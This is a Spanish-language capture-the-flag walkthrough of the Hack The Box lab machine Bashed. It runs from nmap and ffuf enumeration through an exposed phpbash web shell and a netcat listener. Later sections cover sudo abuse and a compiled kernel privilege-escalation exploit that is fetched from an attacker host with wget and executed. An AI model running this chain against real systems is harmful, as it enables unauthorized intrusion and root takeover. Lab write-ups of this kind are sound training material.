Walkthrough — Bashed (Hack The Box)

Recorrido por la máquina Bashed, enfocada en la exposición de scripts en producción y una clásica escalada de privilegios local.


🧭 Introducción

Bashed es una máquina Easy de Hack The Box, ideal para practicar acceso inicial a través de archivos expuestos y escalar con una vieja gloria de los exploits de kernel. ¡Clásica, simple y efectiva!

  • SO: Linux (Ubuntu 16.04)
  • Dificultad: Easy
  • Herramientas utilizadas: nmap, ffuf, netcat, gcc, python3, wget

🔎 Enumeración inicial

Lancé un escaneo completo con nmap para ver qué servicios estaban vivos:

nmap -sC -sV -p- -T4 10.10.10.68

-p-: todos los puertos
-sC -sV: scripts por defecto y detección de versiones
-T4: velocidad decente sin romper cosas

Nmap scan

Resultado:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 (Ubuntu)

Sólo un puerto abierto: HTTP. Sencillo, pero esto suele ser una señal de que lo jugoso está en la web.


🌐 Exploración web

Navegando a http://10.10.10.68 encontré algo interesante…

Página principal

Un sitio personal de desarrollo, y en él se menciona explícitamente el uso de phpsbash… ¿en producción?

“I actually developed it on this exact server”

Gracias, desarrollador desconocido. 🎯


🕵️ Fuzzing de rutas

Para buscar rutas ocultas, utilicé ffuf con una wordlist de Seclists:

ffuf -u http://10.10.10.68/FUZZ \
-w /path/to/SecLists/Discovery/Web-Content/common.txt \
-mc 200,204,301,302,307,403 \
-fs 401 -t 40

ffuf en acción

El resultado me reveló /dev/.


🛠️ phpBash en /dev/

Visitando http://10.10.10.68/dev/:

Directorio dev

Y sí… hay dos versiones de phpsbash. Ejecuté la principal:

phpbash cargado

Y conseguí una shell como www-data. ¡Vamos!


📡 Mejorando acceso y reverse shell

Monté un listener:

nc -lnvp 1234

nc escuchando

Y desde la consola web, lancé una reverse shell o mejoré la tty con:

python3 -c 'import pty; pty.spawn("/bin/bash")'

TTY mejorada


🧑‍💻 Flag de usuario

Navegando al home del usuario arrexel, encontré user.txt:

cat /home/arrexel/user.txt

Flag usuario

Primera flag lista ✅


⬆️ Escalada de privilegios

Corrí sudo -l y encontré esto:

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

sudo -l

Eso significa que puedo ser scriptmanager sin contraseña:

sudo -u scriptmanager /bin/bash

shell como scriptmanager


🧠 Post-enumeración

Con acceso como scriptmanager, revisé el kernel con uname -a:

uname

Es un kernel vulnerable: 4.4.0-62. En ExploitDB encontré una escalada local lista para usar.


💥 Explotación local — DirtyCow/Overlayfs

El exploit (exploit.c) se compila así:

gcc exploit.c -o rootme -static -O2

Compilación

Serví el binario con Python:

sudo python3 -m http.server 80

Servidor HTTP

Y lo descargué desde la máquina víctima:

wget http://10.10.14.3/rootme -O /tmp/rootme
chmod +x /tmp/rootme
/tmp/rootme

Transferencia y ejecución


🧑‍🚀 ¡Root shell!

El exploit funcionó y me dio una shell como root:

Shell root


🏁 Flag de root

La cereza del postre: /root/root.txt

cat /root/root.txt

root.txt

🎉 ¡Máquina completada!


✅ Resumen final

AcciónResultado
Escaneo inicialApache en puerto 80
Enumeración webphpBash expuesto
Acceso inicialShell como www-data
Escalada 1Sudo a scriptmanager
Escalada 2Exploit local al kernel
Flagsuser.txt y root.txt ✔️

Autor: gueco99
🧠 Hack the Box – Bashed (Easy)